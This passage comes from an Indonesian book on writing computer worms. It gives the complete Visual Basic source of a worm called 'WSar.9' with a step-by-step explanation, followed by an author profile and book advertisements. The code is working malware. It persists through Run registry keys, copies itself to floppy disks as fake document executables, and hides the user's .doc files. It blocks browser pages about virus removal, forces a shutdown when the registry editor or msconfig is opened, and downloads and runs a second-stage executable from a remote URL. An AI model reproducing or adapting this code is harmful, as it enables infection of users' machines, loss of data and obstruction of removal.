Private Type TOKEN_PRIVILEGES PrivilegeCount As Long laa As LUID_AND_ATTRIBUTESEnd Type
Dim uflags As LongDim success As Long
Private Type POINTAPI X As Long Y As LongEnd Type
Private Type RECT Left As Long Top As Long Right As Long Bottom As LongEnd Type
Private Type WINDOWPLACEMENT Length As Long flags As Long ShowCmd As Long ptMinPosition As POINTAPI ptMaxPosition As POINTAPI rcNormalPosition As RECTEnd Type
Public Enum TurnMethode ShutDown LogOff RestartEnd Enum
Private Function CheckPrivilege() As Boolean#If Win32 ThenDim OSV As OSVERSIONINFOOSV.OSVSize = Len(OSV)If GetVersionEx(OSV) = 1 ThenCheckPrivilege = (OSV.PlatformID = _ VER_PLATFORM_WIN32_NT) And (OSV.dwVerMajor >= 4)End If#End IfEnd Function
263Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
5. W
orm
WS
ar.9
Private Function WithPrivilege() As Boolean Dim hProcessHandle As Long Dim hTokenHandle As Long Dim lpv_la As LUID Dim token As TOKEN_PRIVILEGES hProcessHandle = GetCurrentProcess() If hProcessHandle <> 0 Then If OpenProcessToken(hProcessHandle, _ (TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY), _ hTokenHandle) <> 0 Then If LookupPrivilegeValue(vbNullString, "SeShutdownPrivilege", _ lpv_la) <> 0 Then With token .PrivilegeCount = 1 .laa.udtLUID = lpv_la .laa.dwAttributes = SE_PRIVILEGE_ENABLED End WithIf AdjustTokenPrivileges(hTokenHandle, False, token, ByVal 0&, _ ByVal 0&, ByVal 0&) <> 0 Then WithPrivilege = True End If End If End If End IfEnd Function
Public Function TurnOff(ByVal Methode As TurnMethode, ByVal ForceOff As _ Boolean) If Methode = ShutDown Then uflags = EWX_SHUTDOWN End If If Methode = LogOff Then uflags = EWX_LOGOFF End If If Methode = Restart Then uflags = EWX_REBOOT End If If CheckPrivilege() Then success = WithPrivilege() End If If ForceOff = True Then uflags = uflags Or EWX_FORCE If success Then Call ExitWindowsEx(uflags, 0&) Else Call ExitWindowsEx(uflags, 0&) End IfEnd Function
264Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 15. W
orm W
Sar.9
ketik kode program berikut ini pada object frmWSar9:
'WSar.9 by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On
Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As LongPrivate Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As LongPrivate Declare Function InternetGetConnectedState Lib _ "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As _ Long) As LongPrivate SF As String * 255Dim TskActMon As BooleanDim CPayload As BooleanDim VarianExist As Boolean
Private Sub Form_Load() On Error Resume Next App.TaskVisible = False App.Title = App.EXEName CPayload = False VarianExist = False If App.PrevInstance = True Then End InfectSystem() ChangeIcon()End Sub
Private Sub InfectSystem() On Error Resume Next Dim WSarName As String Dim WSarLast As String Dim WSarPath As String Dim RandomName As String Dim Mins, Maks, RandNo As Long Dim i, a As Long Dim alp As String alp = "0123456789 abcdefghijklmnopqrstuvwxyzABCDEFGHIJ" & _ "LMNOPQRSTUVWXYZ" RandomName = "" WSarName = GetStringValue("HKEY_LOCAL_MACHINE\So" & _ "ftware\Microsoft\Windows\CurrentVersion", "ProductNo") WSarLast = GetStringValue("HKEY_LOCAL_MACHINE\Soft" & _ "ware\Microsoft\Windows\CurrentVersion", "ProductCode") WSarPath = GetStringValue("HKEY_LOCAL_MACHINE\Soft" & _ "ware\Microsoft\Windows\CurrentVersion\Run", WSarName) Mins = 4 Maks = 12 RandNo = Mins + Fix(Rnd * (Maks - Mins + 1))
265Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
5. W
orm
WS
ar.9
For i = 1 To RandNo Randomize() a = Int(Rnd * 62) RandomName = RandomName & Mid(alp, a, 1) Next i If LCase(WSarName) = "error" Then FileCopy(WormFile, SpecialFolder(1) & "\" & RandomName & _ ".exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "ProductNo", RandomName) SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "ProductCode", App.EXEName) SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", RandomName, SpecialFolder _ (1) & "\" & RandomName & ".exe") Else If LCase(App.Path) <> LCase(SpecialFolder(1)) Then End Kill(SpecialFolder(1) & "\" & WSarLast) DeleteKeyValue("HKEY_LOCAL_MACHINE\Software\Micro" & _ "soft\Windows\CurrentVersion\Run", WSarName) FileCopy(WormFile, SpecialFolder(1) & "\" & RandomName & _ ".exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "ProductNo", RandomName) SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "ProductCode", App.EXEName & _ ".exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", RandomName, SpecialFolder _ (1) & "\" & RandomName & ".exe") End IfEnd Sub
Private Sub ChangeIcon() On Error Resume Next If Dir(SpecialFolder(0) & "\" & "WSar9.ico") = "" Then DropFile("CUSTOM", 101, SpecialFolder(0) & "\" & "WSar9.ico") SetStringValue("HKEY_CLASSES_ROOT\exefile\DefaultIcon", _ "", SpecialFolder(0) & "\" & "WSar9.ico") End If SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{450D8FBA-A" & _ "D25-11D0-98A8-0800361B1103}\DefaultIcon", "", _ SpecialFolder(0) & "\" & "WSar9.ico") SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3A" & _ "EA-1069-A2D8-08002B30309D}\DefaultIcon", "", _ SpecialFolder(0) & "\" & "WSar9.ico") SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{208D2C60-3A" & _ "EA-1069-A2D7-08002B30309D}\DefaultIcon", "", _ SpecialFolder(0) & "\" & "WSar9.ico") SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{645FF040-508" & _ "1-101B-9F08-00AA002F954E}\DefaultIcon", "full", _ SpecialFolder(0) & "\" & "WSar9.ico")
266Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 15. W
orm W
Sar.9
SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{645FF040-508" & _ "1-101B-9F08-00AA002F954E}\DefaultIcon", "empty", _ SpecialFolder(0) & "\" & "WSar9.ico")End Sub
Private Sub tmrBlockUrl_Timer() On Error Resume Next BlockUrl("worm") BlockUrl("virus") BlockUrl("removal")End Sub
Private Sub tmrDefender_Timer() On Error Resume Next If WinCheck("taskmgr.exe") = False Then TskActMon = False End If If WinCheck("taskmgr.exe") = True And TskActMon = True Then _ Exit Sub If WinCheck("taskmgr.exe") = True And TskActMon = False Then RenProcess(App.EXEName & ".exe", "explorer.exe") RenProcess("EXPLORER.EXE", "SVCHOST.EXE") RenProcess("Explorer.exe", "svchost.exe") RenProcess("SYSTEM", "WSarWasHere") TskActMon = True End If If WinCheck("regedit.exe") = True Or WinCheck("regedt32.exe") = _ True Then tmrDefender.Enabled = False TurnOff(ShutDown, True) End If If WinCheck("msconfig.exe") = True Then tmrDefender.Enabled = False TurnOff(Restart, True) End IfEnd Sub
Private Sub InfectFloppy() On Error Resume Next Dim Files() As String Dim i As Integer Dim Acak As Integer lstDoc.Clear() lstDoc.AddItem(GetStringValue("HKEY_CURRENT_USER\So" & _ "ftware\Microsoft\Windows\CurrentVersion\Explorer\Shell F" & _ "olders", "Personal")) Files() = GetFiles(lstDoc.List(0) & "\" & "*.doc", vbNormal) lstDoc.Clear() For i = 1 To UBound(Files) lstDoc.AddItem(Files(i)) Next i Randomize() Acak = Int(Rnd * (lstDoc.ListCount))
267Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
5. W
orm
WS
ar.9
If Len(Dir$("A:\*doc .exe")) = 0 Then If lstDoc.ListCount > 0 Then FileCopy(WormFile, "A:\" & lstDoc.List(Acak) & " .exe") Else FileCopy(WormFile, "A:\readme.doc .exe") End If End IfEnd Sub
Private Sub Payload() On Error Resume Next Phantom(GetStringValue("HKEY_CURRENT_USER\Software\" & _ "Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", _ "Personal"), "*.doc", WormFile, "where my document.doc .exe") MsgBox("WSar.9 Ada Pada Komputer Anda", vbExclamation, _ "WSar.9")End Sub
Private Sub tmrMulti_Timer() On Error Resume Next If (Right(Minute(Now), 1) = 2 Or Right(Minute(Now), 1) = 8) And _ Second(Now) = 13 Then Call InfectFloppy() End If If Minute(Now) = 1 Or Minute(Now) = 31 Then SwapMouseButton(True) StartButton(False) Else SwapMouseButton(False) StartButton(True) End If If Month(Now) = 10 And Day(Now) = 13 And CPayload = False _ Then CPayload = True Payload() End If If InternetGetConnectedState(0&, 0&) = 0 Then GoTo akhir If Year(Now) > 2006 And VarianExist = False Then If Len(Dir$(SpecialFolder(0) & "\wsar" & Year(Now) & ".exe")) = _ 0 Then Downloader("http://www.iwwa.or.id/newvarian/wsarx.exe", _ SpecialFolder(0) & "\wsar" & Year(Now) & ".exe", True) VarianExist = True End If End Ifakhir:End Sub
268Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 15. W
orm W
Sar.9
Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValueEnd Function
Private Function DropFile(ByVal ResType As String, ByVal ResID As Long, _ByVal OutputPath As String) On Error Resume Next Dim DROP() As Byte DROP = LoadResData(ResID, ResType)Open OutputPath For Binary As #1Put #1, , DROPClose #1End Function
Private Function Downloader(ByVal FileOnNet As String, ByVal FileOutput _ As String, ByVal Execute As Boolean) On Error Resume Next Dim newfile() As Byte If InternetGetConnectedState(0&, 0&) = 0 Then GoTo akhir Inet1.RequestTimeout = 40 newfile() = Inet1.OpenURL(FileOnNet, icByteArray)Open FileOutput For Binary Access Write As #1Put #1, , newfile()Close #1 If Execute = True Then Shell(FileOutput) End Ifakhir:End Function
Private Function Phantom(ByVal DirPath As String, ByVal Extention _ As String, ByVal FullSourcePath As String, ByVal TargetName As _ String) As Long On Error Resume Next Dim eksfile As String Dim fwall As Long If Right(DirPath, 1) <> "\" Then DirPath = DirPath & "\" eksfile = Dir(DirPath, vbDirectory)
269Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
5. W
orm
WS
ar.9
Do While Trim(eksfile) <> "" If Trim(eksfile) <> "." And Trim(eksfile) <> ".." Then If (GetAttr(DirPath + eksfile) And vbDirectory) = _ vbDirectory Then fwall = Phantom(DirPath + eksfile, Extention, _ FullSourcePath, _ TargetName) eksfile = Dir(DirPath, vbDirectory) Else eksfile = Dir(, vbDirectory) End If Else eksfile = Dir(, vbDirectory) End If Loop eksfile = Dir(DirPath + Extention) Do While Trim(eksfile) <> "" FileCopy(FullSourcePath, DirPath & TargetName)SetAttr (DirPath + eksfile), vbHidden + vbSystem eksfile = Dir Loop If Right(DirPath, 1) = "\" Then DirPath = Mid(DirPath, 1, Len _ (DirPath) - 1) SetAttr(DirPath, vbSystem) Phantom = 0End Function
Function GetFiles(filespec As String, Optional Attributes As _ VbFileAttribute) As String() On Error Resume Next Dim result() As String Dim filename As String, count As Long, path2 As String Const ALLOC_CHUNK = 50ReDim result(0 To ALLOC_CHUNK) As String filename = Dir$(filespec, Attributes) Do While Len(filename) count = count + 1 If count > UBound(result) ThenReDim Preserve result(0 To count + ALLOC_CHUNK) As String End If result(count) = filename filename = Dir$ LoopReDim Preserve result(0 To count) As String GetFiles = resultEnd Function
Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WNameEnd Function
270Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 15. W
orm W
Sar.9
Untuk module mdlRegistryAPI Anda bisa menggunakan module yang sama pada WSar.4 dan module mdlWinCheck menggunakan module yang sama pada WSar.8
Berikut penjelasan tentang kode program:
Procedure Form_Load seperti biasa mengatur agar worm tidak tampil pada jendela Task List, mencegah proses baru dari file yang sama dan mengeksekusi procedure InfectSystem, kemudian worm memanggil procedure ChangeIcon. Adapun pengaturan nilai variabel CPayload dan VarianExist menjadi false berkaitan dengan procedure tmrMulti_Timer.
Procedure InfectSystem pada WSar.9 berbeda pada worm dasar sebelumnya, dimulai dengan memberikan nilai pada beberapa variabel yang mengacu pada suatu data registry, yaitu:
• Variabel WSarName mengacu pada key registry "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion" dengan nilai data "ProductNo"
• Variabel WSarLast yang mengacu pada key registry "HKEY_LO-CAL_MACHINE\Software\Microsoft\Windows\CurrentVersion" dengan nilai data 'ProductCode’
• Variabel WSarPath yang mengacu pada key registry "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" dan dengan nilai data yang diambil dari nilai variabel WSarName.
Jika nilai pada variabel WSarName adalah "error" yang berarti nilai registry tersebut tidak ditemukan dan berarti pula bahwa worm belum melakukan penginfeksian pada system komputer tersebut maka worm akan membuat salinan ke direktori System Windows dengan meng-gunakan nama yang diambil secara acak dan berkisar antara 4 hingga 12 karakter. Untuk memudahkan penjelasan berikutnya nama file ini kita sebut dengan istilah NextName.
Worm kemudian mengatur nilai registry yang mengacu pada variabel WSarName dengan memberikan value dengan nilai NextName, kemu-dian mengatur nilai registry yang mengacu pada variabel WSarLast dengan memberikan value berupa nama file utama yang aktif dan mengatur nilai registry yang mengacu pada variabel WSarPath dengan memberikan value dengan nilai full path dari NextName yang berada pada direktori System Windows.
271Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
5. W
orm
WS
ar.9
Sebaliknya jika nilai pada variabel WSarName ditemukan, maka jika path file utama tidak berada pada direktori System Windows, maka worm langsung mengakhiri proses dari file utama hal ini untuk mence-gah penginfeksian berulang dari file infector lainnya, dan jika tidak worm akan menghapus file yang mengacu pada variabel WSarLast, kemudian menghapus key registry yang mengacu pada variabel WSar-Path dengan value yang mengacu pada variabel WSarName.
Selanjutnya worm akan membuat salinan ke direktori System Windows dengan menggunakan nama NextName lainnya. Worm kemudian men-gatur nilai registry yang mengacu pada variabel WSarName dengan memberikan value dengan nilai NextName kemudian mengatur nilai registry yang mengacu pada variabel WSarLast dengan memberikan value berupa nama file utama yang aktif dan mengatur nilai registry yang mengacu pada variabel WSarPath dengan memberikan value dengan nilai full path dari NextName yang berada pada direktori Sys-tem Windows. Demikian hal ini akan berulang setiap kali Windows startup.
Procedure ChangeIcon saat dieksekusi akan memeriksa keberadaan file WSar9.ico yang berada pada direktori Windows, jika tidak ditemukan maka dengan menggunakan resource file sebagai metode Drop File. Worm mengekstrak file WSar9.ico yang merupakan file icon bergambar hati ke direktori Windows dan langsung mengatur suatu nilai registry yang mengacu pada pengaturan default untuk icon berekstensi *.exe dengan mengganti icon tersebut menjadi icon WSar9.ico.
Sebaliknya jika file WSar9.ico ditemukan, maka WSar.9 mengatur beberapa nilai registry yang mengacu pada pengaturan default untuk icon My Documents, My Computer, My Network Place dan Recycle Bin. dengan mengganti icon tersebut menjadi icon WSar9.ico.
Procedure tmrBlockUrl_Timer aktif setiap satu detik dengan menutup aplikasi browser yang pada address-nya mengandung kata worm, virus dan removal. Hal ini dilakukan dengan menggunakan function BlockUrl yang terdapat pada module mdlBlockUrl.
Procedure tmrDefender_Timer aktif setiap 0.2 detik, dengan menggu-nakan function WinCheck worm memeriksa apakah aplikasi Windows Task Manager dijalankan oleh user atau tidak.
272Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 15. W
orm W
Sar.9
Jika ternyata aplikasi tersebut dijalankan maka variabel TskActMon diatur menjadi false. Kemudian jika aplikasi Windows Task Manager dijalankan dan nilai variabel TskActMon adalah true maka procedure diakhiri.
Jika aplikasi Windows Task Manager dijalankan dan nilai variabel TskActMon adalah false maka worm akan merubah string yang bertuliskan nama file utama dengan string "explorer.exe", string "EX-PLORER.EXE" menjadi "SVCHOST.EXE" string "explorer.exe" menjadi "svchost.exe" dan merubah string "SYSTEM" menjadi "WSarWasHere" kemudian mengatur nilai TskActMon menjadi true.
Jika user menjalankan aplikasi regedit.exe atau regedt32.exe (Registry Editor) maka properti Enabled pada tmrDefender diatur menjadi false, kemudian langsung mematikan komputer.
Jika user menjalankan aplikasi msconfig.exe (System Configuration Utility) maka properti Enabled pada tmrDefender diatur menjadi false, kemudian langsung me-restart komputer.
Saat procedure InfectFloppy dieksekusi pertama kali yang dilakukan adalah membersihkan data pada ListBox lstDoc, kemudian menam-bahkan satu item mengacu pada nilai registry yang merupakan lokasi default untuk folder My Document aktif.
WSar.9 kemudian mencari dan mengumpulkan file yang berekstensi *.doc pada folder tersebut dan menyimpannya dalam ListBox lstDoc. Jika ListBox lstDoc memiliki data maka worm memilih secara acak nama file dokumen tersebut dan menggunakan nama tersebut untuk membuat salinan pada drive A, tentunya dengan ekstensi .exe. Seba-liknya jika pada ListBox lstDoc tidak ditemukan adanya data maka WSar.9 menggunakan nama default "readme.doc.exe".
Procedure Payload akan memanggil function Phantom dengan variabel DirPath yang diambil dari lokasi default untuk folder My Document, variabel Extention diatur pada *.doc, variabel FullSourcePath dari full-path file utama dan variabel TargetName yang diatur menjadi "where my document.doc.exe". Setelah itu seperti yang terjadi pada worm dasar lainnya, WSar.9 juga menampilkan pesan "WSar.9 Ada Pada Komputer Anda".
273Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
5. W
orm
WS
ar.9
Procedure tmrMulti_Timer aktif setiap 0.5 detik. Jika angka kedua pada menit sekarang adalah 2 atau angka kedua pada menit sekarang adalah 8 dan detik sekarang adalah 13 maka akan di-eksekusi proce-dure InfectFloppy.
Jika menit sekarang adalah 1 atau 31 maka panggil function Swap-MouseButton dari module mdlIseng yang akan menukar fungsi tom-bol pada mouse, kemudian akan dipanggil function StartButton dari module mdlIseng yang akan menyembunyikan tombol Startmenu. Jika menit bukan 1 atau 31 maka sebaliknya akan menormalkan fungsi tombol pada mouse dan tetap menampilkan tombol Startmenu.
Jika bulan sekarang adalah Oktober dan tanggal sekarang adalah 13 dan nilai CPayload adalah false, maka atur variabel CPayload menjadi true, kemudian panggil procedure PayLoad.
Jika komputer tidak terkoneksi ke internet maka akan mengakhiri pro-cedure. Jika tahun sekarang lebih besar dari 2006 dan nilai VarianExist adalah false, maka jika file dengan nama file wsar(tahun sekarang).exe (sebagai contoh jika tahun sekarang adalah 2007 maka nama filenya adalah: wsar2007.exe) tidak ditemukan pada direktori Windows maka WSar.9 memanggil function Downloader yang akan men-download file dari site fiktif http://www.iwwa.or.id/newvar ian/wsarx.exe, dengan lokasi file pada direktori Windows dan langsung mengeksekusinya, kemudian mengatur nilai VarianExist menjadi true.
Function DropFile berguna untuk mengekstrak resource file dari body program utama. Function Downloader berfungsi untuk memudahkan pengambilan file di internet.
Function Phantom bertugas untuk memeriksa suatu folder tertentu dan mencari file-file dengan suatu ekstensi tertentu, dimana function ini menyembunyikan file-file tersebut dan meninggalkan suatu salinan file tertentu dengan nama file tertentu pula. Function GetFiles berfungsi untuk membantu mengumpulkan file dengan ekstensi tertentu dan pada direktori tertentu.
Module mdlBlockUrl memiliki function utama BlockUrl, function yang akan memeriksa address bar pada aplikasi Internet Explorer dan Netscape.
274Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 15. W
orm W
Sar.9
Module mdlIseng memiliki 3 function utama, yaitu Function ShowCursor yang dapat menyembunyikan dan menampilkan pointer mouse, Function SwapMouseButton yang mampu menukar fungsi tombol pada mouse, dan function StartButton yang dapat menyembu-nyikan dan menampilkan tombol Startmenu.
Module mdlRenProcess memiliki function utama RenProcess yang dapat mengganti string pada jendela aplikasi Task List. Module mdlTurnOff memiliki function utama TurnOff, function yang dapat menghentikan system komputer dengan berbagai cara seperti Shut-Down, Restart atau LogOff.
Catatan untuk WSar.9: berikut ini adalah beberapa lokasi registry, sehubungan dengan icon default pada suatu ekstensi
Ekstensi Lokasi KeyAVI HKEY_CLASSES_ROOT\AVIFile\DefaultIcon
CHM HKEY_CLASSES_ROOT\chm.file\DefaultIcon
GIF HKEY_CLASSES_ROOT\giffile\DefaultIcon
HTML HKEY_CLASSES_ROOT\htmlfile\DefaultIcon
ICO HKEY_CLASSES_ROOT\icofile\DefaultIcon
JPG HKEY_CLASSES_ROOT\jpegfile\DefaultIcon
MID HKEY_CLASSES_ROOT\MIDFile\DefaultIcon
MP3 HKEY_CLASSES_ROOT\mp3file\DefaultIcon
MPEG HKEY_CLASSES_ROOT\mpegfile\DefaultIcon
WMA HKEY_CLASSES_ROOT\wmafile\DefaultIcon
WMF HKEY_CLASSES_ROOT\wmffile\DefaultIcon
Jasakom275
PROFIL PENULIS
Nama penulis Achmad Darmal, lahir pada tanggal 13 Oktober 1980 di Tarakan, Kalimantan Timur - Indonesia, saat ini bekerja pada salah satu perusahaan swasta yang bergerak dibidang konstruksi dan per-tambangan, penulis juga bekerja part-time dibeberapa lembaga kursus sebagai tenaga instruktur sekaligus merangkap sebagai teknisi kom-puter.
Saat ini penulis sedang memperdalam ilmu komputer animasi dan desain grafis, serta aktif dalam pengembangan software perusahaan dimana penulis bekerja.
Alamat lengkap penulis:Jl. Pesisir Indah RT. 13 No. 86 Kel. Selumit PantaiTarakan Tengah, Kalimantan Timur - IndonesiaTelp: (0551) 5505637 Fax: (0551) 34971E-mail : [email protected]
Profi
l - P
rofil
- Pr
ofil -
Pro
fil -P
rofil
- Pr
ofil -
Profi
l - P
rofil
- Pr
ofil -
Profi
l
Aplikasi Computer Worm 1 & Computer Worm 2
Belanja Aman dan Nyaman
WWW.TOKOMAHAL.COM
www.buku-joomla.us adalah situs yang dibangun dan dikelola oleh pembaca buku
Joomla! 1.5 : Dunianya Maya, Untungnya Nyata.Sebagai pembaca, Anda berhak mengakses, memban-gun, merubah seisi situs ini. Dapatkan informasi de-
tailnya didalam buku Joomla 1.5 !
Penulis : S’to
Dapatkan Buku-Buku S'to !
Kunjungi www.jasakom.com untuk melihat dan membeli buku-buku terbitan dari JasakomBuku ini juga tersedia di toko-toko buku di seluruh Indonesia seperti Gramedia, Toga Mas Gunung Agung,
Toko Utama, Kharisma, Uranus, dll
Windows XP:XXX dan Windows XP2:XXX merupakan serial buku IT
paling laris sepanjang tahun.
Buku ini akan memperlihatkan kepada Anda bagaimana
melakukan berba-gai hal unik dengan Windows XP yang tidak pernah Anda
bayangkan sebelum-nya. Tidak percaya?
Silahkan buktikan sendiri !
Dapatkan JugaWindows VISTA XXX